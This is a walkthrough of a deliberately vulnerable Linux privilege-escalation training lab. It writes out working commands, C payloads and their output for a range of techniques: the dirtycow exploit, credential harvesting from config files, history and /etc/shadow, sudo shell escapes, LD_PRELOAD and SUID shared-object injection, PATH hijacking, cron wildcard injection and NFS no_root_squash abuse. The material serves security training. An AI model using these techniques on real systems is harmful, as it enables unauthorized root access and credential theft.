Linux PrivEsc Arena

Linux PrivEsc Arena

Students will learn how to escalate privileges using a very vulnerable Linux VM.
SSH is open.

Your credentials are TCM:Hacker123

[Task 1] [Optional] Connecting to the TryHackMe network

You can either use the browser-based terminal (which appears when you deploy the machine), or you can connect to TryHackMe's network (via OpenVPN) and SSH in directly. If you've not done this before, first complete the OpenVPN room and learn how to connect.

#1
Read the above.

```
sudo openvpn thm.ovpn
```

No answer needed

[Task 2] Deploy the vulnerable machine

This room will teach you a variety of Linux privilege escalation tactics, including kernel exploits, sudo attacks, SUID attacks, scheduled task attacks, and more.
This lab was built utilizing Sagi Shahar's privesc workshop (https://github.com/sagishahar/lpeworkshop) and utilized as part of The Cyber Mentor's Linux Privilege Escalation Udemy course (http://udemy.com/course/linux-privilege-escalation-for-beginners).
All tools needed to complete this course are in the user folder (/home/user/tools).
Let's first connect to the machine. SSH is open on port 22. Your credentials are:
username: **TCM**
password: **Hacker123**

#1
Deploy the machine and log into the user account via SSH (or use the browser-based terminal).

```
ssh TCM@10.10.212.166
Hacker123
```

No answer needed

[Task 3] Privilege Escalation - Kernel Exploits

Detection

Linux VM

1. In command prompt type: /home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh

2. 2. From the output, notice that the OS is vulnerable to "dirtycow".

Exploitation

Linux VM

1. In command prompt type: gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w

2. 2. In command prompt type: ./c0w

Disclaimer: This part takes 1-2 minutes - Please allow it some time to work.

3. In command prompt type: passwd

4. 4. In command prompt type: id

From here, either copy /tmp/passwd back to /usr/bin/passwd or reset your machine to undo changes made to the passwd binary

#1
Click 'Completed' once you have successfully elevated the machine

```
/home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh
```

```
gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w
./c0w
```

[Task 4] Privilege Escalation - Stored Passwords (Config Files)

Exploitation

Linux VM

1. In command prompt type: cat /home/user/myvpn.ovpn

2. From the output, make note of the value of the "auth-user-pass" directive.

3. In command prompt type: cat /etc/openvpn/auth.txt

4. From the output, make note of the clear-text credentials.

5. In command prompt type: cat /home/user/.irssi/config | grep -i passw

6. From the output, make note of the clear-text credentials.

```
cat /home/user/myvpn.ovpn
cat /etc/openvpn/auth.txt
cat /home/user/.irssi/config | grep -i passw
```

#1
What password did you find?

password321

#2
What user's credentials were exposed in the OpenVPN auth file?

user

[Task 5] Privilege Escalation - Stored Passwords (History)

Exploitation

Linux VM
1. In command prompt type: cat ~/.bash_history | grep -i passw
2. From the output, make note of the clear-text credentials.

```
 cat ~/.bash_history | grep -i passw
mysql -h somehost.local -uroot -ppassword123
cat /etc/passwd | cut -d: -f1
awk -F: '($3 == "0") {print}' /etc/passwd
passwd
```

#1

What was TCM trying to log into?

mysql

#2

Who was TCM trying to log in as?

root

#3

Naughty naughty. What was the password discovered?

password123

[Task 6] Privilege Escalation - Weak File Permissions

Detection

Linux VM
1. In command prompt type: ls -la /etc/shadow
2. Note the file permissions

Exploitation

Linux VM
1. In command prompt type: cat /etc/passwd
2. Save the output to a file on your attacker machine
3. In command prompt type: cat /etc/shadow
4. Save the output to a file on your attacker machine

Attacker VM

1. In command prompt type: unshadow <PASSWORD-FILE> <SHADOW-FILE> > unshadowed.txt
Now, you have an unshadowed file. We already know the password, but you can use your favorite hash cracking tool to crack dem hashes.
For example:

```
hashcat -m 1800 unshadowed.txt rockyou.txt -O
```

#1

What were the file permissions on the /etc/shadow file?

-rw-rw-r--

[Task 7] Privilege Escalation - SSH Keys

Detection

Linux VM
1. In command prompt type: **find / -name authorized_keys 2> /dev/null**
2. In a command prompt type: **find / -name id_rsa 2> /dev/null**
3. Note the results.

Exploitation

Linux VM
1. Copy the contents of the discovered id_rsa file to a file on your attacker VM.

Attacker VM

1. In command prompt type: **chmod 400 id_rsa**
2. In command prompt type: **ssh -i id_rsa root@<ip>**
You should now have a root shell :)

#1
What's the full file path of the sensitive file you discovered?

/backups/supersecretkeys/id_rsa

[Task 8] Privilege Escalation - Sudo (Shell Escaping)

Detection

Linux VM
1. In command prompt type: **sudo -l**
2. From the output, notice the list of programs that can run via sudo.

```
sudo -l
Matching Defaults entries for TCM on this host:
    env_reset, env_keep+=LD_PRELOAD

User TCM may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more
```

Exploitation

Linux VM
1. In command prompt type any of the following:
a. **sudo find /bin -name nano -exec /bin/sh \;**
b. **sudo awk 'BEGIN {system("/bin/sh")}'**
c. **echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse**
d. **sudo vim -c '!sh'**

#1
Click 'Completed' once you have successfully elevated the machine

No answer needed

[Task 9] Privilege Escalation - Sudo (Abusing Intended Functionality)

Detection

Linux VM

1. In command prompt type: `sudo -l`

2. From the output, notice the list of programs that can run via sudo.

```
sudo -l
Matching Defaults entries for TCM on this host:
    env_reset, env_keep+=LD_PRELOAD

User TCM may run the following commands on this host:


    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more
```

Exploitation

Linux VM

1. In command prompt type: `sudo apache2 -f /etc/shadow`

2. From the output, copy the root hash.

Attacker VM

1. Open command prompt and type: `echo '[Pasted Root Hash]' > hash.txt`

2. In command prompt type: `john --wordlist=/usr/share/wordlists/nmap.lst hash.txt`

3. From the output, notice the cracked credentials.

```
Created directory: /home/taj702/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (root)
1g 0:00:00:00 DONE (2020-07-06 12:31) 2.564g/s 5251p/s 5251c/s 5251C/s 14344..minime
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

#1
Click 'Completed' once you have successfully elevated the machine

No answer needed

[Task 10] Privilege Escalation - Sudo (LD_PRELOAD)

Detection

Linux VM

1. In command prompt type: sudo -l
2. From the output, notice that the LD_PRELOAD environment variable is intact.

Exploitation

1. Open a text editor and type:

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

2. Save the file as x.c
3. In command prompt type: gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
4. In command prompt type: sudo LD_PRELOAD=/tmp/x.so apache2
5. In command prompt type: id

```
TCM@debian:~$ nano
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

saved as x.c

TCM@debian:~$ gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
TCM@debian:~$ sudo LD_PRELOAD=/tmp/x.so apache2
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
```

#1
Click 'Completed' once you have successfully elevated the machine

No answer needed

[Task 11] Privilege Escalation - SUID (Shared Object Injection)

Detection

Linux VM
1. In command prompt type: find / -type f -perm -04000 -ls 2>/dev/null
2. From the output, make note of all the SUID binaries.

```
Matching Defaults entries for TCM on this host:
    env_reset, env_keep+=LD_PRELOAD

User TCM may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
TCM@debian:~$ find / -type f -perm -04000 -ls 2>/dev/null
809081   40 -rwsr-xr-x   1 root     root        37552 Feb 15  2011 /usr/bin/chsh
812578  172 -rwsr-xr-x   2 root     root       168136 Jan  5  2016 /usr/bin/sudo
810173   36 -rwsr-xr-x   1 root     root        32808 Feb 15  2011 /usr/bin/newgrp
812578  172 -rwsr-xr-x   2 root     root       168136 Jan  5  2016 /usr/bin/sudoedit
```

```
809080   44 -rwsr-xr-x   1 root     root       43280 Jun 18 13:02 /usr/bin/passwd
809078   64 -rwsr-xr-x   1 root     root       60208 Feb 15  2011 /usr/bin/gpasswd
809077   40 -rwsr-xr-x   1 root     root       39856 Feb 15  2011 /usr/bin/chfn
816078   12 -rwsr-sr-x   1 root     staff       9861 May 14  2017 /usr/local/bin/suid-so
816762    8 -rwsr-sr-x   1 root     staff       6883 May 14  2017 /usr/local/bin/suid-env
816764    8 -rwsr-sr-x   1 root     staff       6899 May 14  2017 /usr/local/bin/suid-env2
815723  948 -rwsr-xr-x   1 root     root      963691 May 13  2017 /usr/sbin/exim-4.84-3
832517    8 -rwsr-xr-x   1 root     root        6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
832743  212 -rwsr-xr-x   1 root     root      212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
812623   12 -rwsr-xr-x   1 root     root       10592 Feb 15  2016 /usr/lib/pt_chown
473324   36 -rwsr-xr-x   1 root     root       36640 Oct 14  2010 /bin/ping6
473323   36 -rwsr-xr-x   1 root     root       34248 Oct 14  2010 /bin/ping
473292   84 -rwsr-xr-x   1 root     root       78616 Jan 25  2011 /bin/mount
473312   36 -rwsr-xr-x   1 root     root       34024 Feb 15  2011 /bin/su
473290   60 -rwsr-xr-x   1 root     root       53648 Jan 25  2011 /bin/umount
465223  100 -rwsr-xr-x   1 root     root       94992 Dec 13  2014 /sbin/mount.nfs
```

4. In command line type: strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
5. From the output, notice that a .so file is missing from a writable directory.

```
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
```

Exploitation

Linux VM
5. In command prompt type: mkdir /home/user/.config
6. In command prompt type: cd /home/user/.config
7. Open a text editor and type:

```
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

8. Save the file as libcalc.c
9. In command prompt type: gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
10. In command prompt type: /usr/local/bin/suid-so
11. In command prompt type: id

```
  uid=1000(TCM) gid=1000(user) euid=0(root) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
bash-4.1#
```

#1
Click 'Completed' once you have successfully elevated the machine

No answer needed

[Task 12] Privilege Escalation - SUID (Symlinks)

Detection

Linux VM
1. In command prompt type: `dpkg -l | grep nginx`
2. From the output, notice that the installed nginx version is below 1.6.2-5+deb8u3.

Exploitation

Linux VM – Terminal 1
1. For this exploit, it is required that the user be www-data. To simulate this escalate to root by typing: su root
2. The root password is password123
3. Once escalated to root, in command prompt type: `su -l www-data`
4. In command prompt type: `/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log`
5. At this stage, the system waits for logrotate to execute. In order to speed up the process, this will be simulated by connecting to the Linux VM via a different terminal.

Linux VM – Terminal 2
1. Once logged in, type: `su root`
2. The root password is password123
3. As root, type the following: `invoke-rc.d nginx rotate >/dev/null 2>&1`
4. Switch back to the previous terminal.

Linux VM – Terminal 1
1. From the output, notice that the exploit continued its execution.
2. In command prompt type: `id`

```
nginxrootsh-4.1# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
```

#1
What CVE is being exploited in this task?

CVE-2016-1247

click me
What binary is SUID enabled and assists in the attack?

sudo

[Task 13] Privilege Escalation - SUID (Environment Variables #1)

Detection

Linux VM
1. In command prompt type: `find / -type f -perm -04000 -ls 2>/dev/null`
2. From the output, make note of all the SUID binaries.

```
TCM@debian:~$ find / -type f -perm -04000 -ls 2>/dev/null
809081   40 -rwsr-xr-x   1 root     root       37552 Feb 15  2011 /usr/bin/chsh
812578  172 -rwsr-xr-x   2 root     root      168136 Jan  5  2016 /usr/bin/sudo
810173   36 -rwsr-xr-x   1 root     root       32808 Feb 15  2011 /usr/bin/newgrp
812578  172 -rwsr-xr-x   2 root     root      168136 Jan  5  2016 /usr/bin/sudoedit
809080   44 -rwsr-xr-x   1 root     root       43280 Jun 18 13:02 /usr/bin/passwd
809078   64 -rwsr-xr-x   1 root     root       60208 Feb 15  2011 /usr/bin/gpasswd
809077   40 -rwsr-xr-x   1 root     root       39856 Feb 15  2011 /usr/bin/chfn
816078   12 -rwsr-sr-x   1 root     staff       9861 May 14  2017 /usr/local/bin/suid-so
816762    8 -rwsr-sr-x   1 root     staff       6883 May 14  2017 /usr/local/bin/suid-env
816764    8 -rwsr-sr-x   1 root     staff       6899 May 14  2017 /usr/local/bin/suid-env2
```

```
815723  948 -rwsr-xr-x   1 root     root       963691 May 13  2017 /usr/sbin/exim-4.84-3
832517    8 -rwsr-xr-x   1 root     root         6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
832743  212 -rwsr-xr-x   1 root     root       212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
812623   12 -rwsr-xr-x   1 root     root        10592 Feb 15  2016 /usr/lib/pt_chown
473324   36 -rwsr-xr-x   1 root     root        36640 Oct 14  2010 /bin/ping6
473323   36 -rwsr-xr-x   1 root     root        34248 Oct 14  2010 /bin/ping
473292   84 -rwsr-xr-x   1 root     root        78616 Jan 25  2011 /bin/mount
473312   36 -rwsr-xr-x   1 root     root        34024 Feb 15  2011 /bin/su
473290   60 -rwsr-xr-x   1 root     root        53648 Jan 25  2011 /bin/umount
1158726  912 -rwsrwxrwx   1 root     root       926536 Jul  6 12:53 /tmp/nginxrootsh
1158725  912 -rwsr-sr-x   1 root     staff      926536 Jul  6 12:49 /tmp/bash
465223  100 -rwsr-xr-x   1 root     root        94992 Dec 13  2014 /sbin/mount.nfs
```

4. In command prompt type: strings /usr/local/bin/suid-env
5. From the output, notice the functions used by the binary.

```
TCM@debian:~$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start
```

Exploitation

Linux VM
1. In command prompt type: echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
2. In command prompt type: gcc /tmp/service.c -o /tmp/service
3. In command prompt type: export PATH=/tmp:$PATH
4. In command prompt type: /usr/local/bin/suid-env
5. In command prompt type: id

```
 uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
```

#1
What is the last line of the "strings /usr/local/bin/suid-env" output?

service apache2 start

[Task 14] Privilege Escalation - SUID (Environment Variables #2)

Detection

Linux VM
1. In command prompt type: **find / -type f -perm -04000 -ls 2>/dev/null**
2. From the output, make note of all the SUID binaries.

```
809081   40 -rwsr-xr-x   1 root     root        37552 Feb 15  2011 /usr/bin/chsh
812578  172 -rwsr-xr-x   2 root     root       168136 Jan  5  2016 /usr/bin/sudo
810173   36 -rwsr-xr-x   1 root     root        32808 Feb 15  2011 /usr/bin/newgrp
812578  172 -rwsr-xr-x   2 root     root       168136 Jan  5  2016 /usr/bin/sudoedit
809080   44 -rwsr-xr-x   1 root     root        43280 Jun 18 13:02 /usr/bin/passwd
809078   64 -rwsr-xr-x   1 root     root        60208 Feb 15  2011 /usr/bin/gpasswd
809077   40 -rwsr-xr-x   1 root     root        39856 Feb 15  2011 /usr/bin/chfn
816078   12 -rwsr-sr-x   1 root     staff        9861 May 14  2017 /usr/local/bin/suid-so
816762    8 -rwsr-sr-x   1 root     staff        6883 May 14  2017 /usr/local/bin/suid-env
```

```
816764    8 -rwsr-sr-x   1 root     staff        6899 May 14  2017 /usr/local/bin/suid-env2
815723  948 -rwsr-xr-x   1 root     root       963691 May 13  2017 /usr/sbin/exim-4.84-3
832517    8 -rwsr-xr-x   1 root     root         6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
832743  212 -rwsr-xr-x   1 root     root       212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
812623   12 -rwsr-xr-x   1 root     root        10592 Feb 15  2016 /usr/lib/pt_chown
473324   36 -rwsr-xr-x   1 root     root        36640 Oct 14  2010 /bin/ping6
473323   36 -rwsr-xr-x   1 root     root        34248 Oct 14  2010 /bin/ping
473292   84 -rwsr-xr-x   1 root     root        78616 Jan 25  2011 /bin/mount
473312   36 -rwsr-xr-x   1 root     root        34024 Feb 15  2011 /bin/su
473290   60 -rwsr-xr-x   1 root     root        53648 Jan 25  2011 /bin/umount
1158726  912 -rwsrwxrwx   1 root     root       926536 Jul  6 12:53 /tmp/nginxrootsh
1158725  912 -rwsr-sr-x   1 root     staff      926536 Jul  6 12:49 /tmp/bash
465223  100 -rwsr-xr-x   1 root     root        94992 Dec 13  2014 /sbin/mount.nfs
```

4. In command prompt type: `strings /usr/local/bin/suid-env2`
5. From the output, notice the functions used by the binary.

```
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
/usr/sbin/service apache2 start
```

Exploitation Method #1

Linux VM

1. In command prompt type: `function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }`
2. In command prompt type: `export -f /usr/sbin/service`
3. In command prompt type: `/usr/local/bin/suid-env2`

```
bash-4.1# id
uid=0(root) gid=0(root) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
```

Exploitation Method #2

Linux VM

1. In command prompt type:

```
env  -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root  /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c  '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'
```

```
 Starting web server: apache2httpd (pid 1522) already running
.
bash-4.1# id
uid=0(root) gid=0(root) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
```

#1
What is the last line of the "strings /usr/local/bin/suid-env2" output?

/usr/sbin/service apache2 start

[Task 15] Privilege Escalation - Capabilities

Detection

Linux VM

1. In command prompt type: `getcap -r / 2>/dev/null`

2. From the output, notice the value of the “cap_setuid” capability.

Exploitation

Linux VM

1. In command prompt type: `/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'`

2. Enjoy root!

```
TCM@debian:~$ getcap -r / 2>/dev/null
/usr/bin/python2.6 = cap_setuid+ep
TCM@debian:~$ /usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@debian:~# id
uid=0(root) gid=1000(user) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),-
1000(user)
```

click me
Click 'Completed' once you have successfully elevated the machine

No answer needed

[Task 16] Privilege Escalation - Cron (Path)

Detection

Linux VM

1. In command prompt type: `cat /etc/crontab`

2. From the output, notice the value of the “PATH” variable.

```
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
```

Exploitation

Linux VM

1. In command prompt type: `echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh`

2. In command prompt type: `chmod +x /home/user/overwrite.sh`

3. Wait 1 minute for the Bash script to execute.

4. In command prompt type: `/tmp/bash -p`

5. In command prompt type: `id`

```
uid=1000(TCM) gid=1000(user) euid=0(root) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),-
44(video),46(plugdev),1000(user)
```

#1
Click 'Completed' once you have successfully elevated the machine

No answer needed

[Task 17] Privilege Escalation - Cron (Wildcards)

Detection

Linux VM
1. In command prompt type: **cat /etc/crontab**
2. From the output, notice the script “/usr/local/bin/compress.sh”

```
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
```

4. In command prompt type: **cat /usr/local/bin/compress.sh**
5. From the output, notice the wildcard (*) used by ‘tar’.

```
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
```

Exploitation

Linux VM
1. In command prompt type: **echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh**
2. **touch /home/user/--checkpoint=1**
3. **touch /home/user/--checkpoint-action=exec=sh\ runme.sh**
4. Wait 1 minute for the Bash script to execute.
5. In command prompt type: **/tmp/bash -p**
6. In command prompt type: **id**

```
uid=1000(TCM) gid=1000(user) euid=0(root) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),-
44(video),46(plugdev),1000(user)
```

#1
Click 'Completed' once you have successfully elevated the machine

No answer needed

[Task 18] Privilege Escalation - Cron (File Overwrite)

Detection

Linux VM
1. In command prompt type: **cat /etc/crontab**

2. From the output, notice the script “overwrite.sh”

```
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
```

4. In command prompt type: **ls -l /usr/local/bin/overwrite.sh**
5. From the output, notice the file permissions.

```
-rwxr--rw- 1 root staff 40 May 13  2017 /usr/local/bin/overwrite.sh
```

Exploitation
Linux VM
1. In command prompt type: **echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh**
2. Wait 1 minute for the Bash script to execute.
3. In command prompt type: **/tmp/bash -p**
4. In command prompt type: **id**

```
uid=1000(TCM) gid=1000(user) euid=0(root) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
```

#1
Click 'Completed' once you have successfully elevated the machine

No answer needed

[Task 19] Privilege Escalation - NFS Root Squashing

Detection
Linux VM
1. In command line type: **cat /etc/exports**
2. From the output, notice that “no_root_squash” option is defined for the “/tmp” export.

```
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#

/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)

#/tmp *(rw,sync,insecure,no_subtree_check)
```

Exploitation
Attacker VM
1. Open command prompt and type: **showmount -e MACHINE_IP**

```
Export list for 10.10.212.166:
/tmp *
```

3. In command prompt type: **mkdir /tmp/1**
4. In command prompt type: **mount -o rw,vers=2 MACHINE_IP:/tmp /tmp/1**

In command prompt type:
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c

5. In command prompt type: **gcc /tmp/1/x.c -o /tmp/1/x**
6. In command prompt type: **chmod +s /tmp/1/x**

Linux VM
1. In command prompt type: **/tmp/x**
2. In command prompt type: **id**

#1
Click 'Completed' once you have successfully elevated the

No answer needed